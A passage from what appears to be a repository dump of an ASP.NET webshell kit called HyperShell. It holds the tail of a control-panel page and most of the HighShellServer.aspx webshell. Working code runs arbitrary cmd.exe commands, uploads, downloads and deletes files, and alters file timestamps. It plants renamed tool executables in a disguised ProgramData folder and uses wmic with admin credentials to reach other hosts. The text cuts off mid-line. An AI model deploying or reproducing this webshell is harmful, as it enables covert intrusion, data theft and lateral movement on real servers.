}\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void download(string don, string isdelete, string localPath, string downloadguid)\r\n        {\r\n            string ret = \"true\";\r\n\r\n            try\r\n            {\r\n                ret = DownLoadFileByWebRequest(url, localPath, downloadguid, new NameValueCollection() {\r\n                    { \"m\", ((int)method.download).ToString()},\r\n                    { \"p\", p},\r\n                    { \"don\", don}\r\n                });\r\n\r\n                if (isdelete.ToLower() == \"true\")\r\n                {\r\n                    string cmd = \"del \\\"\" + don + \"\\\" 2>&1\";\r\n                    ret += Environment.NewLine + SendRequest(url, new NameValueCollection() {\r\n                        { \"m\", tb(((int)method.command).ToString())},\r\n                        { \"p\", tb(p)},\r\n                        { \"cmd\", tb(cmd)}\r\n                    });\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            //responseAjax(ret);\r\n        }\r\n        void checkDownloadProgress(string downloadguid, string lastsizestr, string lasttimestr)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string status = \"NotSet\";\r\n                double Percent = 0;\r\n                string Size = \"-\";\r\n                string Speed = \"-\";\r\n                string Remain = \"-\";\r\n                long LastSize = long.Parse(lastsizestr);\r\n                DateTime Now = DateTime.Now;\r\n                DateTime LastTime = Now;\r\n                if (lasttimestr != \"0\")\r\n                    LastTime = DateTime.Parse(lasttimestr);\r\n\r\n                if (Session[downloadguid] != null)\r\n                {\r\n                    NameValueCollection data = (NameValueCollection)Session[downloadguid];\r\n                    status = data[\"status\"];\r\n\r\n                    if (status != DownloadStatus.Requested.ToString())\r\n                    {\r\n                        DateTime timeStart = DateTime.Parse(data[\"startdate\"]);\r\n                        long total = long.Parse(data[\"totalsize\"]);\r\n                        long get = long.Parse(data[\"downloadedsize\"]);\r\n\r\n                        Percent = Math.Round(((double)get / total) * 100, 2);\r\n                        Size = sizeFix(get) + \" of \" + sizeFix(total);\r\n\r\n                        double diff = 1;\r\n                        if (lasttimestr == \"0\")\r\n                            diff = (Now - timeStart).TotalSeconds;\r\n                        else\r\n                            diff = (Now - LastTime).TotalSeconds;\r\n\r\n                        double s = (double)((get - LastSize) / diff);\r\n                        Speed = sizeFix((long)s, true) + \"/sec\";\r\n                        if (status == DownloadStatus.Complete.ToString())\r\n                        {\r\n                            Remain = timeFix((long)(Now - timeStart).TotalMilliseconds);\r\n                            Session.Remove(downloadguid);\r\n                        }\r\n                        else\r\n                            Remain = timeFix((long)((total - get) / s * 1000)) + \" left\";\r\n\r\n                        lastsizestr = get.ToString();\r\n                        lasttimestr = Now.ToString(\"yyyy-MM-dd HH:mm:ss.fff\");\r\n                    }\r\n                }\r\n\r\n                ret = string.Format(\"{{\\\"status\\\":\\\"{0}\\\",\\\"percent\\\":\\\"{1}\\\",\\\"size\\\":\\\"{2}\\\",\\\"speed\\\":\\\"{3}\\\",\\\"remain\\\":\\\"{4}\\\",\\\"lastsize\\\":\\\"{5}\\\",\\\"lasttime\\\":\\\"{6}\\\"}}\", status, Percent, Size, Speed, Remain, tb(lastsizestr), tb(lasttimestr));\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n\r\n        #region [ Modules ]\r\n        string moduleFolder = @\"C:\\ProgramData\\Microsoft\\SettingsTools\\\";\r\n        KeyValueConfigurationCollection ModuleFileName = new KeyValueConfigurationCollection() {\r\n            { ModuleName.mdl7z.ToString(),\"7za.exe\"},\r\n            { ModuleName.mdlrx.ToString(),\"rx.exe\"},\r\n            { ModuleName.mdlnbt.ToString(),\"nbt.exe\"},\r\n            { ModuleName.mdlhb.ToString(),\"hb.exe\"},\r\n            { ModuleName.mdltar2.ToString(),\"tar-2.exe\"},\r\n            { ModuleName.mdltar4.ToString(),\"tar-4.exe\"}\r\n        };\r\n        KeyValueConfigurationCollection ModuleFileNameTarget = new KeyValueConfigurationCollection() {\r\n            { ModuleName.mdl7z.ToString(),\"fqrzb.exe\"},\r\n            { ModuleName.mdlrx.ToString(),\"nhrf.exe\"},\r\n            { ModuleName.mdlnbt.ToString(),\"qbtup.exe\"},\r\n            { ModuleName.mdlhb.ToString(),\"tysrr.exe\"},\r\n            { ModuleName.mdltar2.ToString(),\"ghdfg.exe\"},\r\n            { ModuleName.mdltar4.ToString(),\"tyruee.exe\"}\r\n        };\r\n        enum ModuleName\r\n        {\r\n            mdl7z,\r\n            mdlrx,\r\n            mdlnbt,\r\n            mdlhb,\r\n            mdltar2,\r\n            mdltar4\r\n        };\r\n        void checkModules()\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n\r\n                string dirModule = SendRequest(url, new NameValueCollection() {\r\n                    { \"m\", tb(((int)method.command).ToString())},\r\n                    { \"p\", tb(p)},\r\n                    { \"cmd\", tb(string.Format(\"dir \\\"{0}\\\"\",moduleFolder))}\r\n                });\r\n\r\n                ret = \"{\\\"modules\\\":[\";\r\n                string mdlList = string.Empty;\r\n\r\n                foreach (string name in Enum.GetNames(typeof(ModuleName)))\r\n                {\r\n                    if (dirModule.Contains(ModuleFileNameTarget[name].Value))\r\n                    {\r\n                        if (!string.IsNullOrEmpty(mdlList))\r\n                            mdlList += \",\";\r\n                        mdlList += string.Format(\"\\\"{0}\\\"\", name);\r\n                    }\r\n                }\r\n\r\n                ret += mdlList + \"]}\";\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n\r\n        // the Old server side installModule\r\n        //void installModule(HttpPostedFile mfile, string mname)\r\n        //{\r\n        //    string ret = \"Error : -\";\r\n        //    try\r\n        //    {\r\n        //        if (!System.IO.Directory.Exists(moduleFolder))\r\n        //        {\r\n        //            System.IO.DirectoryInfo di = System.IO.Directory.CreateDirectory(moduleFolder);\r\n        //            di.Attributes = System.IO.FileAttributes.Directory | System.IO.FileAttributes.Hidden;\r\n        //        }\r\n\r\n        //        string name = string.Empty;\r\n        //        string path = string.Empty;\r\n        //        if (mname == \"mdl7z\")\r\n        //        {\r\n        //            name = \"7z\";\r\n        //            path = moduleFolder + \"\\\\z.exe\";\r\n        //        }\r\n        //        else if (mname == \"mdlrx\")\r\n        //        {\r\n        //            name = \"rx\";\r\n        //            path = moduleFolder + \"\\\\r.exe\";\r\n        //        }\r\n        //        else if (mname == \"mdlnbt\")\r\n        //        {\r\n        //            name = \"nbt\";\r\n        //            path = moduleFolder + \"\\\\n.exe\";\r\n        //        }\r\n        //        else if (mname == \"mdlhb\")\r\n        //        {\r\n        //            name = \"hb\";\r\n        //            path = moduleFolder + \"\\\\h.exe\";\r\n        //        }\r\n\r\n        //        mfile.SaveAs(path);\r\n        //        ret = \"Module '\" + name + \"' installed successfuly.\";\r\n        //    }\r\n        //    catch (Exception e)\r\n        //    {\r\n        //        ret = \"Error : \" + e.Message;\r\n        //    }\r\n        //    response(ret);\r\n        //}\r\n        void installModule(string moduleName)\r\n        {\r\n            string ret = \"Error : -\";\r\n\r\n            try\r\n            {\r\n                string targetFileName = string.Empty;\r\n                string filePath = Server.MapPath(string.Empty) + \"\\\\files\\\\\";\r\n\r\n                filePath += ModuleFileName[moduleName].Value;\r\n                targetFileName = ModuleFileNameTarget[moduleName].Value;\r\n\r\n                if (!string.IsNullOrEmpty(targetFileName))\r\n                {\r\n                    List<KeyValuePair<string, string>> formData = new List<KeyValuePair<string, string>>();\r\n                    formData.Add(new KeyValuePair<string, string>(\"uploadPath\", moduleFolder + targetFileName));\r\n                    formData.Add(new KeyValuePair<string, string>(\"m\", ((int)method.upload).ToString()));\r\n                    formData.Add(new KeyValuePair<string, string>(\"p\", p));\r\n\r\n                    using (Stream fStream = File.OpenRead(filePath))\r\n                    {\r\n                        ret = UploadFile(fStream, Path.GetFileName(filePath), \"uploadFile\", formData);\r\n                        if (ret.Contains(\"successfully\"))\r\n                            ret = \"Module '\" + moduleFolder + targetFileName + \"' installed successfuly.\";\r\n                    }\r\n                }\r\n                else\r\n                    ret = \"Error : Module name is invalid\";\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        //void uninstallModule(string mname)\r\n        //{\r\n        //    string ret = \"Error : -\";\r\n        //    try\r\n        //    {\r\n        //        string name = string.Empty;\r\n        //        string path = string.Empty;\r\n        //        if (mname == \"mdl7z\")\r\n        //        {\r\n        //            name = \"7z\";\r\n        //            path = moduleFolder + \"\\\\z.exe\";\r\n        //        }\r\n        //        else if (mname == \"mdlrx\")\r\n        //        {\r\n        //            name = \"rx\";\r\n        //            path = moduleFolder + \"\\\\r.exe\";\r\n        //        }\r\n        //        else if (mname == \"mdlnbt\")\r\n        //        {\r\n        //            name = \"nbt\";\r\n        //            path = moduleFolder + \"\\\\n.exe\";\r\n        //        }\r\n\r\n        //        System.IO.File.Delete(path);\r\n        //        ret = \"Module '\" + name + \"' uninstalled successfuly.\";\r\n        //    }\r\n        //    catch (Exception e)\r\n        //    {\r\n        //        ret = \"Error : \" + e.Message;\r\n        //    }\r\n\r\n        //    response(ret);\r\n        //}\r\n        void uninstallModule(string moduleName)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string modulePath = moduleFolder + ModuleFileNameTarget[moduleName].Value;\r\n                SendRequest(url, new NameValueCollection() {\r\n                    { \"m\", tb(((int)method.command).ToString())},\r\n                    { \"p\", tb(p)},\r\n                    { \"cmd\", tb(string.Format(\"del \\\"{0}\\\"\",modulePath))}\r\n                });\r\n                string dirModule = SendRequest(url, new NameValueCollection() {\r\n                    { \"m\", tb(((int)method.command).ToString())},\r\n                    { \"p\", tb(p)},\r\n                    { \"cmd\", tb(string.Format(\"dir \\\"{0}\\\" 2>&1\",modulePath))}\r\n                });\r\n                if (dirModule.Contains(\"File Not Found\"))\r\n                    ret = \"Module '\" + modulePath + \"' uninstalled successfuly.\";\r\n                else\r\n                    ret = \"Error : Cannot uninstall module : \" + modulePath;\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        #endregion\r\n\r\n        void cmd7z(string clevel, string address7z, string files, string volumSize, string vMode, string exclude)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string exludeStr = string.Empty;\r\n                if (!string.IsNullOrEmpty(exclude))\r\n                {\r\n                    string[] temp = exclude.Split(',');\r\n                    foreach (string item in temp)\r\n                    {\r\n                        exludeStr += \" -xr!\" + item;\r\n                    }\r\n                }\r\n                ret = SendRequest(url, new NameValueCollection() {\r\n                { \"m\", tb(((int)method.command).ToString())},\r\n                { \"p\", tb(p)},\r\n                { \"cmd\", tb(string.Format(\"{0} {1} a \\\"{2}\\\" {3}{4}{5} 2>&1\",\r\n                    moduleFolder + ModuleFileNameTarget[ModuleName.mdl7z.ToString()].Value,\r\n                    clevel,\r\n                    address7z,\r\n                    files,\r\n                    (string.IsNullOrEmpty(volumSize) ? \"\" : \"-v\" + volumSize + vMode),\r\n                    exludeStr\r\n                    )\r\n                )}\r\n            });\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        string SendRequest(string url, NameValueCollection values)\r\n        {\r\n            string response = string.Empty;\r\n\r\n            string param = string.Empty;\r\n\r\n            foreach (var item in values.AllKeys)\r\n            {\r\n                if (!string.IsNullOrEmpty(param))\r\n                    param += \"&\";\r\n                param += item + \"=\" + System.Web.HttpUtility.UrlEncode(isAjax ? values[item] : tb(values[item]));\r\n            }\r\n\r\n            using (WebClient wc = new WebClient())\r\n            {\r\n                ServicePointManager.ServerCertificateValidationCallback = (a, b, c, d) => true;\r\n                wc.Headers[HttpRequestHeader.ContentType] = \"application/x-www-form-urlencoded\";\r\n                response = fb(wc.UploadString(url, param));\r\n            }\r\n\r\n            return response;\r\n        }\r\n        public static void CreateEmptyFile(string filename)\r\n        {\r\n            File.Create(filename).Dispose();\r\n        }\r\n        string sizeFix(long size, bool round = false)\r\n        {\r\n            double s = size;\r\n            if (s < 1024)\r\n                return s + \"B\";\r\n            s = s / 1024;\r\n            if (s < 1024)\r\n                return (round ? (int)s : Math.Round(s, 2)) + \"KB\";\r\n            s = s / 1024;\r\n            if (s < 1024)\r\n                return (round ? (int)s : Math.Round(s, 2)) + \"MB\";\r\n            s = s / 1024;\r\n            if (s < 1024)\r\n                return (round ? (int)s : Math.Round(s, 2)) + \"GB\";\r\n            s = s / 1024;\r\n            return (round ? (int)s : Math.Round(s, 2)) + \"TB\";\r\n        }\r\n        string timeFix(long msec)\r\n        {\r\n            double s = msec;\r\n            if (s < 1000) return (int)s + \" msec\";\r\n            s = s / 1000;\r\n            if (s < 60) return (int)s + \" sec\";\r\n            s = s / 60;\r\n            if (s < 60) return (int)s + \" min\";\r\n            s = s / 60;\r\n            if (s < 24) return (int)s + \" hour\";\r\n            s = s / 24;\r\n            if (s < 365) return (int)s + \" day\";\r\n            s = s / 365;\r\n            return (int)s + \" year\";\r\n        }\r\n    </script>\r\n</head>\r\n<body>\r\n    <div class=\"pusher contentPlace\" style=\"/*flex-grow: 1; flex-direction: column; display: flex; */\">\r\n        <div id=\"header\">\r\n<!-- #include file =\"js/components/loginbar.html\" -->\r\n<!-- #include file =\"js/components/adminuserpass.html\" -->\r\n<!-- #include file =\"js/components/maintab.html\" -->\r\n<!-- #include file =\"js/components/cmd.html\" -->\r\n<!-- #include file =\"js/components/explorer.html\" -->\r\n<!-- #include file =\"js/components/targetcomputer.html\" -->\r\n<!-- #include file =\"js/components/networkdownloader.html\" -->\r\n<!-- #include file =\"js/components/upload.html\" -->\r\n<!-- #include file =\"js/components/download.html\" -->\r\n<!-- #include file =\"js/components/sqlserver.html\" -->\r\n<!-- #include file =\"js/components/changetime.html\" -->\r\n<!-- #include file =\"js/components/tardigrade.html\" -->\r\n        </div>\r\n<!-- #include file =\"js/components/log.html\" -->\r\n    </div>\r\n<!-- #include file =\"js/components/downloadbox.html\" -->\r\n<!-- #include file =\"js/components/msgDeleteFile.html\" -->\r\n    <i title=\"Scroll Top\" class=\"circular large link chevron circle up icon\" style=\"right: 10px; bottom: 10px; position: fixed; z-index: 3333; background-color: #fff\" onclick=\"$('html, body').animate({ scrollTop: 0 }, 500);\"></i>\r\n    <i title=\"Clear Terminal\" class=\"circular large link paint brush icon\" style=\"right: 65px; bottom: 10px; position: fixed; z-index: 3333; background-color: #fff\" onclick=\"$('#log').text('');$('#tbMain').sticky('refresh');\"></i>\r\n    <script><%= SpecialScript %></script>\r\n</body>\r\n</html>\r\n<!-- #include file =\"js/components/includes.html\" -->\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocal/HighShellServer.aspx",
    "content": "﻿<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n\r\n<%\r\ntry\r\n{\r\nNameValueCollection t=HttpContext.Current.Request.Form;\r\nmethod selectedMethod=method.auth;\r\ntry{int methodID=int.Parse(fb(t[\"m\"]));selectedMethod=(method)methodID;}catch{rm();}\r\np=fb(t[\"p\"]);\r\nadminU=fb(t[\"adminU\"]);\r\nadminP=fb(t[\"adminP\"]);\r\nif(string.IsNullOrEmpty(p)){if(HttpContext.Current.Request.Cookies[\"p\"] != null)p=fb(HttpContext.Current.Request.Cookies[\"p\"].Value);}\r\nif(selectedMethod != method.auth && selectedMethod != method.authAjax && !login(p)){rm();}\r\nswitch(selectedMethod){\r\ncase method.auth:\r\ncase method.authAjax:auth(p);break;\r\ncase method.command:\r\ncase method.commandAjax:command(fb(t[\"cmd\"]));break;\r\ncase method.upload:upload(HttpContext.Current.Request.Files[\"uploadFile\"],fb(t[\"uploadPath\"]));break;\r\ncase method.download:download(fb(t[\"don\"]),fb(t[\"isdel\"]));break;\r\ncase method.downloadTest:downloadTest(fb(t[\"don\"]));break;\r\ncase method.explorer:exp(fb(t[\"exadd\"]));break;\r\ncase method.getsize:gsize(fb(t[\"gsize\"]));break;\r\ncase method.getlocation:\r\ncase method.getlocationAjax:response(getLoc());break;\r\ncase method.rename:rename(fb(t[\"rename1\"]),fb(t[\"rename2\"]));break;\r\ncase method.copy:copy(fb(t[\"copy1\"]),fb(t[\"copy2\"]));break;\r\ncase method.view:view(fb(t[\"view\"]));break;\r\ncase method.delete:delete(fb(t[\"delete\"]));break;\r\ncase method.multiDelete:multiDelete(fb(t[\"delete\"]));break;\r\ncase method.changeTime:changeTime(fb(t[\"timeh\"]),fb(t[\"tfil\"]),fb(t[\"ttar\"]),fb(t[\"ttim\"]));break;\r\ndefault:break;\r\n}\r\n}\r\ncatch(Exception ex){response(\"Error : \"+ex.Message);}\r\n%>\r\n<script runat=\"server\">\r\n    enum method{auth=0,command=1,upload=2,uploadbase64=3,delete=4,download=5,changeTime=6,sqlQuery=7,explorer=8,getsize=9,getlocation=10,rename=11,copy=12,view=13,commandAjax=14,downloadTest=15,checkModules=16,installModule=17,uninstallModule=18,cmd7z=19,authAjax=20,getlocationAjax=21,multiDelete=24};\r\n    string salt=\"sdfewq@#$51234234DF@#$!@#$ASDF\";\r\n    string p,adminU,adminP;\r\n    bool aut=false;\r\n    string pp=\"J3ugYdknpax1ZbHB2QILB5NS6dVa0iUD0mhhBPv0Srw=\";\r\n    string a(string a,string b){return string.IsNullOrEmpty(a)?b:a;}\r\n    string tb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Convert.ToBase64String(Encoding.UTF8.GetBytes(a));}catch{}return ret;}\r\n    string fb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Encoding.UTF8.GetString(Convert.FromBase64String(a));}catch{}return ret;}\r\n    void rm(){Response.Redirect(Request.Url.AbsolutePath.Substring(0,Request.Url.AbsolutePath.LastIndexOf(\"/\")+1)+\" \"+Request.Url.AbsolutePath.Substring(Request.Url.AbsolutePath.LastIndexOf(\"/\")+1));}\r\n    void auth(string p){\r\n        string ret=string.Empty;\r\n        try {\r\n            ret = string.Format(\"{{\\\"auth\\\":\\\"{0}\\\",\\\"loc\\\":\\\"{1}\\\"}}\", login(p).ToString(),tb(getLoc()));\r\n        } catch(Exception e){\r\n            ret =\"Error : \"+e.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    bool login(string p){bool aut=false;try{if(!string.IsNullOrEmpty(p)){aut=Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(p+salt)))==pp;}}catch(Exception e){response(e.Message);}return aut;}\r\n    void command(string cmd){string ret=\"Error : -\";try{string o=exec(cmd);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine)+2);ret=HttpUtility.HtmlEncode(o);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void upload(HttpPostedFile uploadFile,string uploadPath)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (System.IO.Path.IsPathRooted(uploadPath))\r\n            {\r\n                string FileName = System.IO.Path.GetFileName(uploadFile.FileName);\r\n                string FilePath = uploadPath.TrimEnd('\\\\') + \"\\\\\";\r\n                if (string.IsNullOrEmpty(System.IO.Path.GetExtension(uploadPath)))\r\n                {\r\n                    if (!System.IO.Directory.Exists(uploadPath))\r\n                    {\r\n                        if (!string.IsNullOrEmpty(System.IO.Path.GetFileName(uploadPath)))\r\n                        {\r\n                            FileName = System.IO.Path.GetFileName(uploadPath);\r\n                            FilePath = System.IO.Path.GetDirectoryName(uploadPath) + \"\\\\\";\r\n                        }\r\n                    }\r\n                }\r\n                else\r\n                {\r\n                    FileName = System.IO.Path.GetFileName(uploadPath);\r\n                    FilePath = System.IO.Path.GetDirectoryName(uploadPath) + \"\\\\\";\r\n                }\r\n\r\n                if (!System.IO.Directory.Exists(FilePath))\r\n                    System.IO.Directory.CreateDirectory(FilePath);\r\n\r\n                uploadFile.SaveAs(FilePath + FileName);\r\n                ret =\"File uploaded successfully : \"+ FilePath + FileName;\r\n            }\r\n            else\r\n                ret=\"Error : The path is not current format \\\"\"+uploadPath+\"\\\"\";\r\n\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    string getLoc(){return Server.MapPath(string.Empty)+\"\\\\\";}\r\n    void downloadTest(string don)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            if (!string.IsNullOrEmpty(don))\r\n            {\r\n                using (System.IO.Stream stream = new System.IO.FileStream(don, System.IO.FileMode.Open))\r\n                {\r\n                    ret = string.Format(\"File '{0}' is ready for download\", don);\r\n                }\r\n            }\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void download(string don, string isdel)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (!string.IsNullOrEmpty(don)){\r\n                System.Web.HttpResponse response = System.Web.HttpContext.Current.Response;\r\n                response.ClearContent();\r\n                response.Clear();\r\n                response.ClearHeaders();\r\n                response.ContentType = \"application/octet-stream\";\r\n                response.AppendHeader(\"Content-Disposition\", \"attachment;size=\"+new System.IO.FileInfo(don).Length+\";filename=\" + HttpUtility.UrlEncode(tb(System.IO.Path.GetFileName(don))));\r\n                response.WriteFile(don);\r\n                response.Flush();\r\n                Response.SuppressContent = true;\r\n                ApplicationInstance.CompleteRequest();\r\n            }\r\n        }\r\n        catch(Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n            response(ret);\r\n        }\r\n    }\r\n    string exec(string cmd){string pro=\"\";System.Diagnostics.Process n=new System.Diagnostics.Process();n.StartInfo.FileName=(string.IsNullOrEmpty(pro)?\"cmd.exe\":pro);n.StartInfo.UseShellExecute=false;n.StartInfo.RedirectStandardInput=true;n.StartInfo.RedirectStandardOutput=true;n.StartInfo.RedirectStandardError=true;n.StartInfo.CreateNoWindow=true;string o=null;n.Start();n.StandardInput.WriteLine(cmd);n.StandardInput.WriteLine(\"exit\");o=n.StandardOutput.ReadToEnd();n.WaitForExit();n.Close();return o;}\r\n    void gsize(string addr){string ret=\"Error : -\";try{hasErrorInGetSize=false;long size=GetDirSize(new System.IO.DirectoryInfo(addr));ret=sizeFix(size);if(hasErrorInGetSize && sizelvl==0)ret=sizeError;else if(hasErrorInGetSize)ret=\"!\"+ret;}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void view(string path){string ret=\"You are viewing the contents of this file : \"+path+Environment.NewLine;try{ret+=System.IO.File.ReadAllText(path);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(HttpUtility.HtmlEncode(ret));}\r\n    void delete(string path){\r\n        string ret=\"Error : -\";\r\n        try {\r\n            System.IO.File.Delete(path);\r\n            ret =string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly deleted{1}\",path,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(path))));\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void multiDelete(string files)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try{\r\n\r\n            string[] f = files.Split('|');\r\n            ret = string.Format(\"All '{0}' files successfuly deleted.\", f.Length);\r\n            foreach (string item in f)\r\n            {\r\n                System.IO.File.Delete(fb(item));\r\n            }\r\n\r\n        }catch (Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void rename(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Move(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly moved to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void copy(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Copy(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly copied to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    string getDirectoryInfo(string address)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (address.ToLower()==\"root\"){\r\n                ret =\"{\\\"dir\\\":[{\\\"name\\\":\\\"\\\\\\\\\\\\\\\\localhost\\\"}\";\r\n                string netUse=exec(\"net use\");\r\n                string[] lines=netUse.Split(new string[]{Environment.NewLine },StringSplitOptions.RemoveEmptyEntries);\r\n                foreach (string item in lines){\r\n                    if (item.ToLower().StartsWith(\"ok\")){\r\n                        int index=item.IndexOf(\"\\\\\\\\\");\r\n                        ret +=\",{\\\"name\\\":\\\"\\\\\\\\\"+item.Substring(index,item.IndexOf('\\\\',index+2)-index)+\"\\\"}\";\r\n                    }\r\n                }\r\n                ret +=\"]}\";\r\n            } else{\r\n                if (address.StartsWith(\"\\\\\\\\\")&& address.Trim('\\\\').Split('\\\\').Length==1){\r\n                    string tmp=address.ToLower().TrimEnd('\\\\');\r\n                    if (tmp==\"\\\\\\\\localhost\"){\r\n                        ret =\"{\\\"dir\\\":[\";\r\n                        bool isStart=false;\r\n                        foreach (System.IO.DriveInfo item in System.IO.DriveInfo.GetDrives()){\r\n                            if (item.IsReady){\r\n                                if (isStart)\r\n                                    ret +=\",\";\r\n                                ret +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\",item.Name.TrimEnd('\\\\').TrimEnd(':')+\"$\",item.TotalSize,item.TotalFreeSpace,\"[\"+sizeFix(item.TotalFreeSpace)+\"] free of [\"+sizeFix(item.TotalSize)+\"]\",item.DriveFormat,item.DriveType);\r\n                                isStart =true;\r\n                            }\r\n                        }\r\n                        ret +=\"]}\";\r\n                    } else{\r\n                        if (!string.IsNullOrEmpty(adminU)&& !string.IsNullOrEmpty(adminP)){\r\n                            string strWC=@\"wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c > c:\\windows\\temp\\KMSHFX0023{3}.tmp 2>&1 wmic logicaldisk get {4}\"\" 2>&1\";\r\n                            string strWF=@\"\\\\{0}\\c$\\windows\\temp\\KMSHFX0023{1}.tmp\";\r\n                            string strWD=@\"del {0} 2>&1\";\r\n                            tmp =tmp.TrimStart('\\\\');\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,1,\"Caption\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,2,\"FileSystem\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,3,\"Size\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,4,\"FreeSpace\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,5,\"Description\"));\r\n                            System.Threading.Thread.Sleep(3000);\r\n                            string[] diskTemp = new string[100];\r\n                            for (int i = 1; i <= 5; i++)\r\n                            {\r\n                                string f = string.Format(strWF, tmp, i);\r\n                                string[] lDisk = System.IO.File.ReadAllLines(f);\r\n                                exec(string.Format(strWD, f));\r\n                                for (int j = 1; j < lDisk.Length; j++)\r\n                                {\r\n                                    if (i == 1) diskTemp[j - 1] = lDisk[j];\r\n                                    else diskTemp[j - 1] += \"|\" + lDisk[j];\r\n                                }\r\n                            }\r\n                            ret = \"{\\\"dir\\\":[\";\r\n                            bool isStart = false;\r\n                            foreach (string item in diskTemp)\r\n                            {\r\n                                if (!string.IsNullOrEmpty(item))\r\n                                {\r\n                                    string[] diskInfo = item.Split('|');\r\n                                    long TotalSize = 0;\r\n                                    long TotalFreeSpace = 0;\r\n                                    long.TryParse(diskInfo[2], out TotalSize);\r\n                                    long.TryParse(diskInfo[3], out TotalFreeSpace);\r\n                                    if (isStart)\r\n                                        ret += \",\";\r\n                                    ret += string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\", diskInfo[0].TrimEnd('\\\\').TrimEnd(' ').TrimEnd(':') + \"$\", TotalSize, TotalFreeSpace, \"[\" + sizeFix(TotalFreeSpace) + \"] free of [\" + sizeFix(TotalSize) + \"]\", diskInfo[1], diskInfo[4]);\r\n                                    isStart = true;\r\n                                }\r\n                            }\r\n                            ret += \"]}\";\r\n                        } else\r\n                            ret =\"Error : Admin Username or Password is empty\";\r\n                    }\r\n                } else{\r\n                    System.IO.FileAttributes attr=System.IO.File.GetAttributes(address);\r\n                    if ((attr & 